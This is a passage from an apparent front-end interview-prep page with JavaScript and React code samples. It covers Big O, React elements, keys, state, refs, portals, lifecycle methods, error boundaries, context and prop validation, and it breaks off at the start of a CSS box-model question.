const words = ["rates", "rat", "stare", "taser", "tears", "art", "tabs", "tar", "bats", "state"];

function anagramGroups(list) {
  const groups = new Map();
  for (const word of list) {
    const key = [...word.toLowerCase()].sort().join("");
    groups.set(key, [...(groups.get(key) ?? []), word]);
  }
  return [...groups.values()].filter((group) => group.length > 1);
}

for (const group of anagramGroups(words)) console.log(group.join(","));
stdout
rates,stare,taser,tears
rat,art,tar
tabs,bats
  • Complexity: O(n · k log k) for n words of length k, because of the sort per word.
  • A letter-count key (a1e1r1s1t1) avoids sorting and makes it O(n · k).
  • Object.groupBy(words, keyFn) (ES2024) does the grouping in one call.
  • state is left out: it has no partner.
InteractiveAdd your own words and see which key each one gets.
loading demo…
05What is Big O Notation?SeniorJavaScriptdemo
IN 30 SECONDS

A way to describe how an algorithm's running time (or memory) grows as its input grows, keeping only the dominant term and dropping constants. O(n) means doubling the input roughly doubles the work; O(n²) means it quadruples it. It describes scalability, usually for the worst case, not the speed on a given input.

GOOD TO HEAR
  • Growth rate relative to input size
  • Worst case, dominant term, no constants
  • Common classes with examples
  • Time vs space
  • Practical limits of the notation
Big ONameJavaScript example
O(1)constantarr[i], map.get(key), set.has(x) (average)
O(log n)logarithmicbinary search over a sorted array
O(n)lineararr.includes(x), arr.map(fn), one loop
O(n log n)linearithmicarr.sort()
O(n²)quadratica loop inside a loop over the same array
O(2ⁿ)exponentialnaive recursive Fibonacci, all subsets
Same answer: about 25 million comparisons versus 5,000 insertions
const hasDuplicateQuadratic = (items) =>
  items.some((item, i) => items.some((other, j) => i !== j && item === other));
const hasDuplicateLinear = (items) => new Set(items).size !== items.length;

const data = Array.from({ length: 5000 }, (_, i) => i);
console.log(hasDuplicateQuadratic(data), hasDuplicateLinear(data));
stdout
false false
  • Drop constants and smaller terms: 3n² + 10n + 7 is O(n²).
  • Space complexity counts extra memory the same way: the Set version trades O(n) memory for time.
  • Big O is an upper bound; Big Θ is a tight bound and Big Ω a lower bound. In interviews, "Big O" usually means the tight worst case.

The trap: For small inputs, constants dominate: a simple O(n²) loop over 20 items can beat a clever O(n log n) solution. Big O says what happens as n gets large.

InteractiveDrag n up and switch to the log scale to see how far apart the curves really are.
loading demo…
React

React fundamentals

Elements, components, JSX and where state lives: the vocabulary every other React answer builds on.

10
01What is the difference between an element and a component in React?JuniorReactJavaScript
IN 30 SECONDS

An element is a plain, immutable object describing what to render: { type, props }, created by JSX or createElement. A component is a function (or class) that takes props and returns elements. <Greeting name="Ada" /> is an element whose type is the Greeting component.

GOOD TO HEAR
  • Element: plain object { type, props }
  • Component: function returning elements
  • Elements are immutable
  • Capitalisation in JSX
function Greeting({ name }: { name: string }) {
  return <h1>Hello, {name}</h1>;
}

const element = <Greeting name="Ada" />;
console.log(element.type === Greeting, element.props.name);

const host = <h1 className="title">Hi</h1>;
console.log(host.type, host.props.className);
  • Elements are cheap descriptions: creating one does not render anything or call the component. React calls Greeting later, when it renders that element.
  • Host elements have a string type ("h1") and become DOM nodes; component elements have a function type and expand into more elements.
  • Components are capitalised in JSX, which is how the compiler tells <Greeting /> (a variable) from <greeting /> (a tag name).

Interview line: A component is the recipe; an element is one order placed from it, with specific props.

02Why does React use className instead of class like in HTML?MidReactHTML
IN 30 SECONDS

JSX compiles to JavaScript, and React's props follow the DOM's property names rather than HTML's attribute names. The DOM property is element.className because class is a reserved word in JavaScript. The same logic gives htmlFor instead of for, and camelCase names like tabIndex and onClick.

GOOD TO HEAR
  • JSX is JavaScript
  • class is a reserved word
  • Props follow DOM property names
  • htmlFor and camelCase attributes
function Field() {
  return (
    <div className="field">
      <label htmlFor="email">Email</label>
      <input id="email" type="email" tabIndex={0} />
    </div>
  );
}
  • class is reserved, so const { class } = props would not compile. className is safe to destructure.
  • Using class in JSX gets a warning from React ("Invalid DOM property class. Did you mean className?").
  • Custom elements (Web Components) are the exception: React 19 passes props to them as attributes or properties, and class is accepted there.
  • Other frameworks chose differently: Vue, Svelte, Solid and Preact accept class.
03How do you write comments inside a JSX tree in React?JuniorReact
IN 30 SECONDS

Between children, a comment has to be a JavaScript comment inside braces: {/* like this */}. Inside a tag, between props, ordinary // and /* */ comments work. Plain HTML comments (<!-- -->) are not valid JSX.

GOOD TO HEAR
  • {/* */} between children
  • // and /* */ between props
  • No HTML comments in JSX
function Card() {
  return (
    <div
      // A comment between props works too.
      className="card"
    >
      {/* A comment among the children needs braces. */}
      <h2>Title</h2>
      {
        // A line comment also works, but the closing brace must be on its own line.
      }
    </div>
  );
}

The trap: Without braces, /* text */ between children renders as literal text on the page.

04What are fragments?SeniorReactJavaScript
IN 30 SECONDS

A fragment groups several children without adding a DOM node. A component returns one value, so returning siblings needs a wrapper; <>...</> (or <Fragment>) is a wrapper that disappears from the output. It matters where an extra <div> would break the HTML or the layout: table rows, list items, flex and grid children.

GOOD TO HEAR
  • Group children without a DOM node
  • Short syntax vs Fragment with key
  • Tables, lists and layout
  • Valid HTML
function Columns() {
  return (
    <>
      <td>Name</td>
      <td>Role</td>
    </>
  );
}

function Glossary({ terms }: { terms: { id: string; term: string; meaning: string }[] }) {
  return (
    <dl>
      {terms.map((item) => (
        <Fragment key={item.id}>
          <dt>{item.term}</dt>
          <dd>{item.meaning}</dd>
        </Fragment>
      ))}
    </dl>
  );
}
  • The short syntax <></> cannot take props. To give a fragment a key (when mapping pairs of elements), write <Fragment key={...}>.
  • A <div> inside <tr> or <ul> produces invalid HTML; inside a grid or flex container it becomes the item instead of its children.
  • An array of elements is another way to return siblings, but every item then needs a key.
05What is the children prop?SeniorReactJavaScript
IN 30 SECONDS

children is the prop holding whatever is written between a component's opening and closing tags: text, elements, an array of them, or even a function. It is what makes composition work: layouts, cards, modals and providers wrap content they know nothing about. Type it as ReactNode.

GOOD TO HEAR
  • Content between the tags
  • Composition
  • ReactNode type
  • Multiple slots via props
  • Render props
function Card({ title, children }: { title: string; children: ReactNode }) {
  return (
    <section className="card">
      <h2>{title}</h2>
      <div className="card-body">{children}</div>
    </section>
  );
}

function Profile() {
  return (
    <Card title="Ada Lovelace">
      <p>Mathematician.</p>
      <a href="/ada">Read more</a>
    </Card>
  );
}
  • Composition over configuration: rather than <Card body="..." link="..." /> with a prop per piece, the caller passes any content.
  • Several slots are just more props of type ReactNode: <Layout sidebar={<Nav />}>main content</Layout>.
  • Render props: children can be a function the component calls with data, as in <DataLoader>{(data) => <List items={data} />}</DataLoader>. Hooks have replaced most uses.
  • The Children and cloneElement APIs exist but are fragile; prefer passing data through props or context.

The trap: Children passed from a parent are created by that parent. A wrapper that re-renders does not re-render them, which is a simple way to keep expensive subtrees from re-rendering.

06What are inline conditional expressions?MidReactJavaScriptdemo
IN 30 SECONDS

Ways to choose what to render inside JSX, which only accepts expressions: the ternary cond ? <A /> : <B /> for either/or, cond && <A /> for show-or-nothing, and null to render nothing. For anything longer, compute a variable before the return or return early.

GOOD TO HEAR
  • Ternary and &&
  • Rendering null
  • The 0 && pitfall
  • Early returns and variables for complex cases
function Inbox({ messages, loading }: { messages: string[]; loading: boolean }) {
  if (loading) return <p>Loading…</p>;

  return (
    <section>
      {messages.length > 0 && <span className="badge">{messages.length}</span>}
      {messages.length === 0 ? <p>No messages</p> : <ul>{messages.map((m) => <li key={m}>{m}</li>)}</ul>}
    </section>
  );
}
The classic `&&` bug
// Renders a stray "0" when the list is empty: 0 is falsy, but React renders numbers.
{messages.length && <span className="badge">{messages.length}</span>}
  • false, null, undefined and true render nothing. 0, NaN and "" are values React does render (an empty string renders nothing visible but still counts as a text node).
  • Nested ternaries get hard to read quickly. Extract a component, or map a status to a component with an object lookup.
  • A component that returns null is still mounted: its state and effects stay alive. Rendering {show && <Panel />} in the parent unmounts it instead.
InteractiveSet the count to 0 and see what the && version renders.
loading demo…
07What is a key? What are the benefits of using it in lists?MidReactJavaScriptdemo
IN 30 SECONDS

A key is a stable identity for an element among its siblings. When a list re-renders, React matches old and new children by key, so it can keep each item's DOM and state, move items instead of recreating them, and only insert or remove what changed. Use an id from the data; the array index breaks when items are inserted, removed or reordered.

GOOD TO HEAR
  • Identity among siblings
  • Matching during reconciliation
  • Preserves state and DOM
  • Stable ids, not indexes or random values
  • Key changes remount
function TodoList({ todos }: { todos: { id: string; text: string }[] }) {
  return (
    <ul>
      {todos.map((todo) => (
        <li key={todo.id}>
          <input type="checkbox" /> {todo.text}
        </li>
      ))}
    </ul>
  );
}
KeyInsert at the top of the list
todo.idReact inserts one new <li>; every checkbox stays with its todo
indexReact updates every <li>'s text and adds one at the end; the checkboxes stay in place and now belong to the wrong todos
Math.random()every item is new on every render: all DOM and state is thrown away
  • Keys only need to be unique among siblings, not globally.
  • The index is acceptable for static lists that never reorder and hold no state.
  • Changing an element's key on purpose remounts it, which is the simplest way to reset a component's state (<Form key={userId} />).
  • key is not passed to the component as a prop.
InteractiveType in a couple of rows, then add an item at the top with each key strategy.
loading demo…
08What is a stateful component in React?JuniorReactJavaScript
IN 30 SECONDS

A component that owns state: data that changes over time and is kept by React between renders. In a function component that is useState or useReducer (in a class, this.state and setState). Updating the state makes React re-render the component with the new value.

GOOD TO HEAR
  • Owns data that changes
  • useState/useReducer (or this.state)
  • Updates trigger re-renders
  • Per-instance, snapshot semantics
function LikeButton() {
  const [likes, setLikes] = useState(0);
  return <button onClick={() => setLikes((current) => current + 1)}>♥ {likes}</button>;
}
  • State is private to each instance: two <LikeButton />s count separately.
  • State is a snapshot per render: the handler sees the value of the render it was created in, which is why the updater form exists.
  • Keep state minimal: anything you can compute from props or other state should be computed during render, not stored.
09What is a stateless component?JuniorReactJavaScript
IN 30 SECONDS

A component with no state of its own: it renders purely from its props, so the same props always give the same output. They are the easiest components to reuse and test. Before hooks, "stateless functional component" meant any function component; today a function component can have state, so "stateless" or "presentational" describes what it does, not how it is written.

GOOD TO HEAR
  • Renders from props only
  • Same props, same output
  • Reusable and testable
  • Historical name for function components
function Avatar({ name, src, size = 40 }: { name: string; src: string; size?: number }) {
  return <img src={src} alt={name} width={size} height={size} className="avatar" />;
}

A common split is a stateful container that fetches and holds data, rendering stateless pieces that only display it. With hooks, the container's logic often moves into a custom hook instead.

Interview line: I try to push state up to where it is needed and keep the leaves stateless; they become trivial to test and to memoize.

10What does lifting state up in React mean?JuniorReactdemo
IN 30 SECONDS

When two components need the same changing data, move the state out of them into their closest common parent, and pass the value and a function to change it down as props. There is then one source of truth, and the components cannot disagree.

GOOD TO HEAR
  • Shared state in the closest common parent
  • Pass value and setter as props
  • Single source of truth
  • Controlled children
  • Derive instead of duplicating
function TemperatureInput({ label, value, onChange }: { label: string; value: string; onChange: (value: string) => void }) {
  return (
    <label>
      {label} <input value={value} onChange={(event) => onChange(event.target.value)} />
    </label>
  );
}

function Converter() {
  const [celsius, setCelsius] = useState("20");
  const fahrenheit = celsius === "" ? "" : String((Number(celsius) * 9) / 5 + 32);
  return (
    <>
      <TemperatureInput label="°C" value={celsius} onChange={setCelsius} />
      <TemperatureInput
        label="°F"
        value={fahrenheit}
        onChange={(f) => setCelsius(f === "" ? "" : String(((Number(f) - 32) * 5) / 9))}
      />
    </>
  );
}
  • The inputs became controlled: their value comes from props, and they report changes instead of storing them.
  • Only one temperature is stored; the other is derived during render, so they can never drift apart.
  • If the common parent ends up far away and many layers pass the props through, that is the point to consider context or a store.
InteractiveType in either box with the state kept in each input, then with it lifted to the parent.
loading demo…
React

Events, refs and the DOM

How React handles events, how to reach a real DOM node when you need one, and how to render outside your parent.

5
01What is the difference between HTML and React event handling?MidReactJavaScriptHTMLdemo
IN 30 SECONDS

In HTML, a handler is a lowercase attribute holding a string of code (onclick="save()"), and return false can cancel the default action. In React, handlers are camelCase props holding a function (onClick={save}), you must call event.preventDefault() explicitly, and the handler receives a cross-browser SyntheticEvent wrapping the native one.

GOOD TO HEAR
  • camelCase props
  • Functions, not strings
  • preventDefault, not return false
  • SyntheticEvent
  • Delegation at the root
  • onChange on every input
HTML
<button onclick="save(); return false;">Save</button>
<form onsubmit="return validate()">...</form>
React
function SaveForm({ onSave }: { onSave: (data: FormData) => void }) {
  function handleSubmit(event: React.FormEvent<HTMLFormElement>) {
    event.preventDefault();
    onSave(new FormData(event.currentTarget));
  }
  return (
    <form onSubmit={handleSubmit}>
      <input name="title" />
      <button type="submit">Save</button>
    </form>
  );
}
HTMLReact
Naminglowercase onclickcamelCase onClick
Valuea string of codea function
Cancel defaultreturn false (in attributes)event.preventDefault()
Event objectnative EventSyntheticEvent; event.nativeEvent for the original
Where listeners liveon each elementone per event type at the root (delegation)
Text inputchange fires on bluronChange fires on every keystroke (the native input event)

Since React 17, React attaches its listeners to the root container rather than document, and event pooling (reusing event objects) is gone, so reading the event asynchronously is safe.

InteractiveReact's root listener sits at the top of this stack; your onClick runs when the bubble reaches it.
loading demo…
02How do you pass an argument to an event handler or callback?MidReactJavaScript
IN 30 SECONDS

Wrap the call in an arrow function, onClick={() => remove(item.id)}, so it runs on click instead of during render. Alternatives: remove.bind(null, item.id), a curried handler onClick={removeHandler(item.id)} where removeHandler returns a function, or a data- attribute read from event.currentTarget.dataset.

GOOD TO HEAR
  • Arrow function wrapper
  • Don't call the handler during render
  • bind and currying
  • data- attributes
  • New functions per render rarely matter
function Items({ items, remove }: { items: { id: string; label: string }[]; remove: (id: string) => void }) {
  const removeById = (event: React.MouseEvent<HTMLButtonElement>) => {
    const id = event.currentTarget.dataset.id;
    if (id) remove(id);
  };
  return (
    <ul>
      {items.map((item) => (
        <li key={item.id}>
          {item.label}
          <button onClick={() => remove(item.id)}>Remove</button>
          <button data-id={item.id} onClick={removeById}>Remove (dataset)</button>
        </li>
      ))}
    </ul>
  );
}

The trap: onClick={remove(item.id)} calls remove while rendering and passes its return value (probably undefined) as the handler. If remove updates state, the result is an infinite render loop.

  • Inline arrows create a new function each render. That is fine almost always; it only matters when passing to a memoized child, where useCallback or the dataset version keeps the reference stable.
  • To keep the event too: onClick={(event) => remove(item.id, event)}.
03What are refs in React? When should they be used?SeniorReactJavaScriptdemo
IN 30 SECONDS

A ref is a mutable box, { current }, that React keeps for the lifetime of a component and that does not cause a re-render when it changes. Use refs for the DOM (focus, scroll, measuring, media playback, integrating a non-React widget) and for values that must survive renders without being displayed (timer ids, the previous value, an AbortController). Anything shown on screen belongs in state.

GOOD TO HEAR
  • Mutable { current } that persists
  • Changing it doesn't re-render
  • DOM access: focus, measure, scroll
  • Instance values: timers, previous value
  • ref as a prop in React 19
  • Not during render
function SearchBox() {
  const inputRef = useRef<HTMLInputElement>(null);
  return (
    <>
      <input ref={inputRef} placeholder="Search" />
      <button onClick={() => inputRef.current?.focus()}>Focus search</button>
    </>
  );
}

function Stopwatch() {
  const [seconds, setSeconds] = useState(0);
  const timerRef = useRef<number | null>(null); // survives renders, never shown

  function start() {
    if (timerRef.current !== null) return;
    timerRef.current = window.setInterval(() => setSeconds((s) => s + 1), 1000);
  }
  function stop() {
    if (timerRef.current !== null) window.clearInterval(timerRef.current);
    timerRef.current = null;
  }
  return (
    <p>
      {seconds}s <button onClick={start}>Start</button> <button onClick={stop}>Stop</button>
    </p>
  );
}
  • React 19: ref is an ordinary prop for function components, so forwardRef is no longer needed: function Input({ ref, ...props }) { return <input ref={ref} {...props} /> }.
  • Callback refs receive the node when it is attached and can return a cleanup function (React 19) that runs when it is detached.
  • useImperativeHandle exposes a limited API (focus, scrollToEnd) instead of the whole DOM node.

The trap: Don't read or write ref.current during rendering (other than lazy initialisation). The value isn't tracked, so the UI won't update, and concurrent rendering can run a render that is thrown away. Read refs in effects and event handlers.

InteractiveFocus, measure, and count renders: the ref changes without re-rendering anything.
loading demo…
04Which is the preferred option between callback refs and findDOMNode()?SeniorReactJavaScriptdemo
IN 30 SECONDS

Callback refs (or ref objects). findDOMNode was deprecated in StrictMode for years and removed in React 19. It reached through a component to whatever DOM node it happened to render first, which broke encapsulation, returned only one node, didn't work with fragments and was incompatible with concurrent rendering.

GOOD TO HEAR
  • findDOMNode is removed in React 19
  • It broke encapsulation and concurrent rendering
  • Callback refs run on attach and detach
  • Ref objects for later access
  • Pass refs explicitly to children
function MeasuredBox({ children }: { children: ReactNode }) {
  const [height, setHeight] = useState(0);

  const measure = useCallback((node: HTMLDivElement | null) => {
    if (!node) return;
    const observer = new ResizeObserver(() => setHeight(node.getBoundingClientRect().height));
    observer.observe(node);
    return () => observer.disconnect(); // React 19: cleanup when the node detaches
  }, []);

  return (
    <div ref={measure}>
      {children}
      <small>{Math.round(height)} px tall</small>
    </div>
  );
}
  • A ref object (useRef) is enough when you only need the node later, in an effect or a handler.
  • A callback ref is right when you need to act the moment the node appears or changes: measure it, observe it, focus it.
  • To reach a DOM node inside a child component, the child passes ref to it: as a prop in React 19, through forwardRef before that.
InteractiveThe measuring box uses a callback ref: resize it and the reading updates.
loading demo…
05What are portals in React?SeniorReactJavaScriptdemo
IN 30 SECONDS

createPortal(children, domNode) renders children into a different DOM node, typically document.body, while they stay in the same place in the React tree. So a modal or tooltip escapes its parent's overflow: hidden and stacking context, but still receives context and its events still bubble to its React ancestors.

GOOD TO HEAR
  • Render into another DOM node
  • Stays in the React tree
  • Escapes overflow and z-index
  • Events bubble through React ancestors
  • Focus management and native <dialog>
import { createPortal } from "react-dom";

function Modal({ open, onClose, children }: { open: boolean; onClose: () => void; children: ReactNode }) {
  if (!open) return null;
  return createPortal(
    <div className="backdrop" onClick={onClose}>
      <div role="dialog" aria-modal="true" className="modal" onClick={(event) => event.stopPropagation()}>
        {children}
      </div>
    </div>,
    document.body,
  );
}
  • Use for modals, popovers, tooltips, dropdowns and toasts that must not be clipped by an ancestor.
  • Event bubbling follows the React tree: a click inside the portal reaches an onClick on the component that rendered it, even though the DOM nodes are elsewhere.
  • Accessibility is your job: focus moving into the dialog, Escape to close, focus returning to the trigger, the background made inert.
  • Native alternatives now cover many cases: <dialog> with showModal() renders in the top layer, as does the popover attribute.

Interview line: A portal changes where the DOM goes, not where the component lives: context, state and events behave as if it never moved.

InteractiveOpen the tooltip inside the clipped box, first inline, then through a portal.
loading demo…
React

Lifecycle, classes and patterns

How a component is born, updates and dies, in class and hook terms, plus the patterns built on top: boundaries, context and higher-order components.

8
01What are the different phases of the component lifecycle in React?MidReactdemo
IN 30 SECONDS

Mounting: the component renders for the first time and its DOM is inserted; then effects run. Updating: new props, state or context cause a re-render; React commits the changes, then runs the cleanup and setup of effects whose dependencies changed. Unmounting: the component is removed and every effect cleans up. Class components add an error handling phase for boundaries.

GOOD TO HEAR
  • Mounting, updating, unmounting (+ error handling)
  • Render vs commit phases
  • Effects run after commit; cleanup before the next run
  • Hooks: synchronisation, not events
  • StrictMode double mount
function Clock({ timezone }: { timezone: string }) {
  const [now, setNow] = useState(() => new Date());

  useEffect(() => {
    // Mount, and every time `timezone` changes: set up.
    const id = setInterval(() => setNow(new Date()), 1000);
    // Before the next setup, and on unmount: clean up.
    return () => clearInterval(id);
  }, [timezone]);

  return <time>{now.toLocaleTimeString("en-US", { timeZone: timezone })}</time>;
}
  • Render phase: React calls your component to compute elements. It must be pure; React may call it more than once or discard the result.
  • Commit phase: React applies the DOM changes, attaches refs, then runs useLayoutEffect (before paint) and later useEffect (after paint).
  • With hooks, think in synchronisation rather than lifecycle events: an effect keeps something in sync with its dependencies, starting and stopping as they change.
  • In development, StrictMode mounts, unmounts and remounts every component once, to prove the cleanup undoes the setup.
InteractiveMount, update and unmount the child and read the order of renders, effects and cleanups.
loading demo…
02What are the lifecycle methods in React?MidReactdemo
IN 30 SECONDS

Methods React calls on a class component at each phase: constructor, render, componentDidMount, componentDidUpdate, componentWillUnmount, plus the less common shouldComponentUpdate, getDerivedStateFromProps, getSnapshotBeforeUpdate, and for error boundaries getDerivedStateFromError and componentDidCatch. In function components, hooks cover the same ground.

GOOD TO HEAR
  • Mount, update, unmount methods
  • shouldComponentUpdate for performance
  • Error boundary methods
  • Hook equivalents
  • Legacy UNSAFE_ methods
Class methodWhenHook equivalent
constructorbefore the first render; set initial stateuseState(initial)
renderevery render; must be purethe function body
componentDidMountafter the first commituseEffect(fn, [])
componentDidUpdate(prevProps, prevState)after every update commituseEffect(fn, [deps])
componentWillUnmountbefore removalthe cleanup returned from useEffect
shouldComponentUpdatebefore a re-render; return false to skipmemo(Component, areEqual)
static getDerivedStateFromPropsbefore every rendercompute during render, or a key to reset
getSnapshotBeforeUpdatejust before DOM changes (read scroll position)useLayoutEffect (approximately)
getDerivedStateFromError / componentDidCatcha child threw while renderingnone: still a class (or a library)
class Chat extends Component<{ roomId: string }> {
  componentDidMount() {
    console.log("connect", this.props.roomId);
  }
  componentDidUpdate(prevProps: { roomId: string }) {
    if (prevProps.roomId !== this.props.roomId) {
      console.log("disconnect", prevProps.roomId);
      console.log("connect", this.props.roomId);
    }
  }
  componentWillUnmount() {
    console.log("disconnect", this.props.roomId);
  }
  render() {
    return <h1>Room {this.props.roomId}</h1>;
  }
}

The class version spreads one concern (the connection) across three methods; the hook version keeps it in one useEffect with [roomId]. That is the main reason hooks replaced classes for new code.

The trap: componentWillMount, componentWillReceiveProps and componentWillUpdate were renamed UNSAFE_ in React 16.3 because they misbehave with async rendering. Don't use them in new code.

InteractiveThe log names the class method that matches each hook event.
loading demo…
03What is the purpose of callback function as an argument of setState?MidReactJavaScript
IN 30 SECONDS

In a class component, this.setState(update, callback) runs callback after the state has been applied and the component has re-rendered. It exists because setState does not update this.state immediately: updates are batched. Function components have no such callback; you react to the new state in an effect, or simply use the value you just computed.

GOOD TO HEAR
  • Runs after the update is committed
  • setState is batched / asynchronous
  • Updater function for derived updates
  • Hooks: use the computed value or an effect
class Search extends Component<{}, { query: string }> {
  state = { query: "" };

  handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {
    this.setState({ query: event.target.value }, () => {
      // Runs after the re-render: this.state.query is the new value here.
      console.log("searching for", this.state.query);
    });
    console.log("still the old value:", this.state.query);
  };

  render() {
    return <input value={this.state.query} onChange={this.handleChange} />;
  }
}
With hooks: no callback needed
function SearchBox({ onSearch }: { onSearch: (query: string) => void }) {
  const [query, setQuery] = useState("");

  function handleChange(event: React.ChangeEvent<HTMLInputElement>) {
    const next = event.target.value;
    setQuery(next);
    onSearch(next); // use the value you already have, not `query`
  }

  return <input value={query} onChange={handleChange} />;
}
  • When the next state depends on the previous one, pass an updater: this.setState((s) => ({ count: s.count + 1 })), or setCount((c) => c + 1) with hooks.
  • If something really must happen after the DOM updates (scroll to the new item), put it in useEffect (or useLayoutEffect) keyed on that state.
04How do you ensure methods have the correct this context in React component classes?SeniorReactJavaScriptdemo
IN 30 SECONDS

Class methods aren't bound to the instance, so onClick={this.handleClick} calls the method with this undefined. Fix it by binding in the constructor (this.handleClick = this.handleClick.bind(this)), by declaring the method as an arrow-function class field (handleClick = () => {...}, the usual choice), or by wrapping at the call site (onClick={() => this.handleClick()}).

GOOD TO HEAR
  • Methods are not auto-bound
  • Bind in the constructor
  • Class field arrow functions
  • Inline arrows and their cost
  • Function components avoid it
class Toggle extends Component<{}, { on: boolean }> {
  state = { on: false };

  constructor(props: {}) {
    super(props);
    this.handleBound = this.handleBound.bind(this);
  }

  handleBound() {
    this.setState((s) => ({ on: !s.on }));
  }

  handleField = () => {
    this.setState((s) => ({ on: !s.on }));
  };

  handleUnbound() {
    this.setState((s) => ({ on: !s.on })); // TypeError when passed as onClick={this.handleUnbound}
  }

  render() {
    return (
      <>
        <button onClick={this.handleBound}>bind in constructor</button>
        <button onClick={this.handleField}>class field arrow</button>
        <button onClick={() => this.handleUnbound()}>inline arrow</button>
      </>
    );
  }
}
  • Constructor bind: one bound copy per instance; verbose.
  • Class field arrow: one function per instance, this captured lexically; the common style.
  • Inline arrow: a new function each render; fine unless passed to a memoized child.

Interview line: This is a JavaScript this problem, not a React one, and function components sidestep it entirely: there is no this.

Interactive"Detached method" is exactly what passing this.handleClick as a prop does.
loading demo…
05What are error boundaries in React?SeniorReactdemo
IN 30 SECONDS

A class component that catches errors thrown while rendering any component below it, and shows a fallback UI instead of unmounting the whole app. It implements static getDerivedStateFromError (to switch to the fallback) and usually componentDidCatch (to log). It does not catch errors in event handlers, async code, server rendering or in itself.

GOOD TO HEAR
  • Catches render-time errors in children
  • getDerivedStateFromError + componentDidCatch
  • Not event handlers or async code
  • Must be a class
  • Granular placement
class ErrorBoundary extends Component<{ fallback: ReactNode; children: ReactNode }, { failed: boolean }> {
  state = { failed: false };

  static getDerivedStateFromError() {
    return { failed: true };
  }

  componentDidCatch(error: Error, info: React.ErrorInfo) {
    console.error("render failed", error, info.componentStack);
  }

  render() {
    return this.state.failed ? this.props.fallback : this.props.children;
  }
}

function App() {
  return (
    <ErrorBoundary fallback={<p>Something went wrong.</p>}>
      <Dashboard />
    </ErrorBoundary>
  );
}
Thrown inCaught by a boundary?
rendering, lifecycle methods, constructors of childrenyes
useEffect / useLayoutEffect of childrenyes
event handlersno: use try/catch, or set state that throws during the next render
setTimeout, promises, other async codeno
the boundary itselfno: the next boundary up catches it
  • Without any boundary, an uncaught render error unmounts the whole root.
  • Place boundaries around independent areas (a widget, a route), so one failure doesn't blank the page.
  • There is still no hook equivalent; the react-error-boundary package wraps the class and adds reset helpers. React 19 adds onCaughtError and onUncaughtError options to createRoot for reporting.
InteractiveMake the child throw during render, then from a click handler, and compare.
loading demo…
06What is context?SeniorReactJavaScriptdemo
IN 30 SECONDS

Context passes a value to every component below a provider without threading it through props at each level (prop drilling). Create it with createContext(defaultValue), provide it with <ThemeContext value={theme}> (React 19; earlier <ThemeContext.Provider>), and read it with useContext(ThemeContext) or use(ThemeContext). Every consumer re-renders when the provided value changes.

GOOD TO HEAR
  • Avoids prop drilling
  • createContext, provider, useContext
  • Default value without a provider
  • All consumers re-render on change
  • Memoize the value
  • Not a state manager by itself
type Theme = "light" | "dark";
const ThemeContext = createContext<Theme>("light");

function App() {
  const [theme, setTheme] = useState<Theme>("dark");
  return (
    <ThemeContext value={theme}>
      <Toolbar />
      <button onClick={() => setTheme((t) => (t === "dark" ? "light" : "dark"))}>Toggle</button>
    </ThemeContext>
  );
}

function Toolbar() {
  return <ThemedButton />; // passes nothing down
}

function ThemedButton() {
  const theme = useContext(ThemeContext);
  return <button className={"button-" + theme}>Save</button>;
}
  • Good for data many components need and that changes rarely: theme, locale, the signed-in user, a router, a store instance.
  • Not a state manager: context only delivers a value. Pair it with useState or useReducer above it.
  • Re-renders: React compares the provided value with Object.is. An inline object (value={{ user, setUser }}) is new every render and re-renders all consumers; memoize it, or split state and setters into two contexts.
  • Without a provider above it, useContext returns the default value from createContext.

The trap: Reaching for context to avoid passing a prop two levels down usually makes code harder to follow. Composition (passing children) often removes the drilling instead.

InteractiveChange the context value and watch which components' render counters move.
loading demo…
07What are higher-order components?SeniorReact
IN 30 SECONDS

A higher-order component (HOC) is a function that takes a component and returns a new component that renders it with extra behaviour or props: withRouter(Profile), Redux's connect(...)(List), withAuth(Page). It is the component version of a higher-order function. Custom hooks have replaced most HOCs, but they still appear in older code and some libraries.

GOOD TO HEAR
  • Function from component to component
  • Reuses cross-cutting logic
  • Examples: connect, withRouter
  • Define outside render
  • Mostly replaced by hooks
function withLogging<P extends object>(Wrapped: React.ComponentType<P>) {
  function WithLogging(props: P) {
    useEffect(() => {
      console.log((Wrapped.displayName ?? Wrapped.name) + " mounted");
    }, []);
    return <Wrapped {...props} />;
  }
  WithLogging.displayName = "withLogging(" + (Wrapped.displayName ?? Wrapped.name) + ")";
  return WithLogging;
}

function Profile({ name }: { name: string }) {
  return <h1>{name}</h1>;
}

const LoggedProfile = withLogging(Profile);
const page = <LoggedProfile name="Ada" />;
  • Create HOCs outside components: calling withLogging(Profile) inside a render makes a new component type every time, which remounts the subtree and loses its state.
  • Pass all props through and set a displayName so DevTools shows something readable.
  • Downsides: "wrapper hell" in the tree, props colliding between layers, and static methods and refs that don't pass through automatically.
  • The hook equivalent is usually simpler: const user = useAuth() instead of withAuth(Page).
08How to apply prop validation in React?SeniorReact
IN 30 SECONDS

Today, with TypeScript: describe the props as a type, and the compiler checks every use of the component before the code runs. The old runtime approach, Component.propTypes with the prop-types package, logged warnings in development; React 19 removed those checks entirely, so propTypes are silently ignored. For data from outside the program (APIs, forms, URLs), validate at runtime with a schema library.

GOOD TO HEAR
  • TypeScript prop types
  • propTypes removed in React 19
  • Default parameters instead of defaultProps
  • Runtime validation for external data (zod, valibot)
interface UserCardProps {
  name: string;
  age?: number;
  role: "admin" | "member";
  onSelect: (name: string) => void;
}

function UserCard({ name, age = 0, role, onSelect }: UserCardProps) {
  return (
    <button onClick={() => onSelect(name)}>
      {name} ({role}){age > 0 ? ", " + age : ""}
    </button>
  );
}

const ok = <UserCard name="Ada" role="admin" onSelect={() => {}} />;
const wrong = <UserCard name="Ada" role="owner" onSelect={() => {}} />; // error
Runtime validation where the types can't reach: data from the network
import { z } from "zod";

const User = z.object({ name: z.string(), age: z.number().int().nonnegative() });
type User = z.infer<typeof User>;

async function loadUser(id: string): Promise<User> {
  const response = await fetch("/api/users/" + id);
  return User.parse(await response.json()); // throws if the server sends something else
}
  • React 19 also ignores defaultProps on function components; use default parameter values, as above.
  • TypeScript checks are erased at build time and cost nothing at runtime, but they cannot see inside JSON.parse or response.json(), which are any.

The trap: Quoting PropTypes.string.isRequired as the answer in 2026 dates you. Mention it as history, then answer with TypeScript.

CSS

CSS

The box model, the cascade and the layout and naming tools that come up in front-end screens.

10
01Describe the layout of the CSS Box Model and briefly describe each component.MidCSSdemo
IN 30 SECONDS

Every element is a rectangular box of four layers, from the inside out: content (the text or image, sized by width/height), padding (space inside the border, which shows the background), border, and margin (transparent space outside the border, separating the box from its neighbours). box-sizing decides whether width measures the content alone (content-box, the default) or content + padding + border (border-box).

GOOD TO HEAR
  • Content, padding, border, margin
  • box-sizing: content-box vs border-box
